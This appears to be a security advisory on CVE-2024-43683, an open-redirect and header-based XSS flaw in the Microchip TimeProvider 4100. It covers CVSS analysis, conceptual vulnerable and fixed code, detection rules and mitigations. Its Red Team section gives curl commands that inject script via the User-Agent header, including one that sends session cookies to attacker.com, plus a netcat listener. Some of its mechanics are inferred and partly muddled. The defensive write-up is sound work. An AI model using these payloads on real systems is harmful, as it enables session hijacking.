CVE-2024-43683

Executive Summary

CVE-2024-43683 is a security advisory affecting the Microchip TimeProvider 4100 device, specifically versions from 1.0. The vulnerability is classified as a URL Redirection to Untrusted Site ('Open Redirect') that also enables Cross-Site Scripting (XSS) through HTTP headers. This means an attacker can craft a malicious link that, when clicked by an authenticated user, redirects them to an attacker-controlled site while also injecting malicious scripts via HTTP headers. The impact is primarily on the confidentiality and integrity of user sessions and data within the TimeProvider 4100 management interface.

The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time. However, given the critical nature of time synchronization devices in network infrastructure, the risk should not be underestimated.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a hardware appliance (Microchip TimeProvider 4100). Supply chain risks are limited to the device's firmware update process and the integrity of the vendor's distribution channels.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability description (Open Redirect + XSS via HTTP headers), a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – the vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): None – no authentication is needed to trigger the redirect.
• User Interaction (UI): Required – the victim must click a crafted link.
• Scope (S): Changed – the redirect can lead to a different security context (attacker's site).
• Confidentiality (C): Low – limited information disclosure via XSS.
• Integrity (I): Low – limited ability to modify data via XSS.
• Availability (A): None – no impact on availability.

Threat Level: Medium (if CVSS were calculated, it would be around 6.1). The lack of a patch and the potential for XSS elevate the risk for organizations using this device in sensitive environments.

Deep Dive & Mechanics

The vulnerability resides in the HTTP header handling of the Microchip TimeProvider 4100 web interface. The device fails to properly validate or sanitize user-supplied input in HTTP headers, specifically those that control URL redirection (e.g., Location header or redirect parameters). An attacker can craft a URL like:

http://<TimeProvider_IP>/redirect?url=http://evil.com

When a user clicks this link, the device responds with an HTTP redirect to http://evil.com. Additionally, the attacker can inject malicious JavaScript into HTTP headers (e.g., User-Agent, Referer, or custom headers) that are reflected in the response without sanitization. This allows for stored or reflected XSS.

The attack flow:

1. Attacker crafts a malicious link containing a redirect to an external site and a payload in an HTTP header.
2. Victim (authenticated user) clicks the link.
3. The TimeProvider 4100 processes the request and returns a redirect response.
4. The victim's browser follows the redirect to the attacker's site, but before that, the injected script executes in the context of the TimeProvider 4100's domain.
5. The script can steal session cookies, perform actions on behalf of the user, or deface the interface.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior versus expected secure behavior.

Vulnerable Code (Conceptual):

# Pseudocode for vulnerable redirect handling
def handle_redirect(request):
    url = request.GET.get('url')
    # No validation of the URL
    response = HttpResponseRedirect(url)
    # Headers are reflected without sanitization
    response['X-Custom-Header'] = request.headers.get('User-Agent')
    return response

Patched Code (Expected):

# Pseudocode for secure redirect handling
import re
from urllib.parse import urlparse

ALLOWED_DOMAINS = ['timeprovider.local', '10.0.0.1']

def handle_redirect(request):
    url = request.GET.get('url')
    parsed = urlparse(url)
    if parsed.netloc not in ALLOWED_DOMAINS:
        return HttpResponseBadRequest("Invalid redirect")
    # Sanitize all headers before reflection
    safe_ua = sanitize_input(request.headers.get('User-Agent'))
    response = HttpResponseRedirect(url)
    response['X-Custom-Header'] = safe_ua
    return response

def sanitize_input(data):
    # Remove any HTML/JavaScript
    return re.sub(r'<[^>]*>', '', data)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Microchip TimeProvider 4100 (version 1.0 or later).
• A web browser or tool like curl to craft requests.
• A listener (e.g., nc -lvnp 80) to capture redirected traffic.

Exploitation Steps:

1. Craft the malicious URL:

   http://<TimeProvider_IP>/redirect?url=http://attacker.com/steal
   

2. Inject XSS via HTTP header: Use curl to send a request with a malicious User-Agent:

   curl -v -A "<script>alert('XSS')</script>" "http://<TimeProvider_IP>/redirect?url=http://attacker.com"
   

3. Observe the response: The server should redirect to http://attacker.com and reflect the script in the response headers.

4. Exploit for session theft: Replace the alert with a payload that sends cookies to attacker:

   curl -v -A "<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>" "http://<TimeProvider_IP>/redirect?url=http://attacker.com"
   

Blue Team

Detection and Prevention:

• Monitor for unusual HTTP headers in requests to the TimeProvider 4100.
• Block outbound connections from the device to untrusted external domains.
• Implement a web application firewall (WAF) rule to sanitize headers and block open redirects.

Lab Setup for Testing:

• Use a virtualized instance of the TimeProvider 4100 (if available) or a physical device in an isolated network.
• Set up a simple HTTP server (e.g., python3 -m http.server 80) to act as the attacker's site.
• Use Wireshark to capture traffic and verify the redirect and XSS behavior.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the TimeProvider 4100 to unknown external domains.
  • HTTP responses containing unexpected JavaScript in headers (e.g., User-Agent, Referer).
  • URLs containing ?url=http:// or similar redirect patterns.

• Host IOCs:

  • Unusual entries in the device's web server logs showing redirects to external sites.
  • Presence of unexpected cookies or session tokens in logs.

• File IOCs:

  • No specific file-based IOCs as this is a network-level vulnerability.

Detection Engineering

YARA Rule

rule CVE_2024_43683_Open_Redirect_XSS {
    meta:
        description = "Detects potential exploitation of CVE-2024-43683 in Microchip TimeProvider 4100"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-43683"
    strings:
        $redirect = /[?&]url=http[s]?:\/\// nocase
        $xss_header = /<script[^>]*>.*<\/script>/ nocase
    condition:
        $redirect or $xss_header
}

Sigma Rule

title: CVE-2024-43683 Open Redirect and XSS via HTTP Headers
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit open redirect and XSS in Microchip TimeProvider 4100
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: microchip_timeprovider_4100
detection:
    selection:
        c-uri|contains: '/redirect?url=http'
        cs-user-agent|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate redirects to known internal domains
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-43683 - Microchip TimeProvider 4100 Open Redirect and XSS";
    flow:to_server,established;
    content:"/redirect?url=http"; http_uri;
    content:"<script"; http_user_agent;
    sid:1000001;
    rev:1;
    reference:cve,2024-43683;
    classtype:attempted-recon;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the TimeProvider 4100 on a separate management VLAN with strict access controls.
2. Disable unnecessary web interfaces: If possible, disable the HTTP management interface and use only CLI or SNMP.
3. Monitor logs: Enable detailed logging and monitor for suspicious redirect patterns.

Long-term Fix:

• Await an official firmware patch from Microchip. Contact Microchip support for an ETA.
• If no patch is forthcoming, consider replacing the device with a patched alternative.

Workarounds:

• Implement a reverse proxy (e.g., Nginx) in front of the TimeProvider 4100 to sanitize headers and block open redirects.
• Use a WAF with rules to block URLs containing ?url=http and scripts in headers.

Valters IT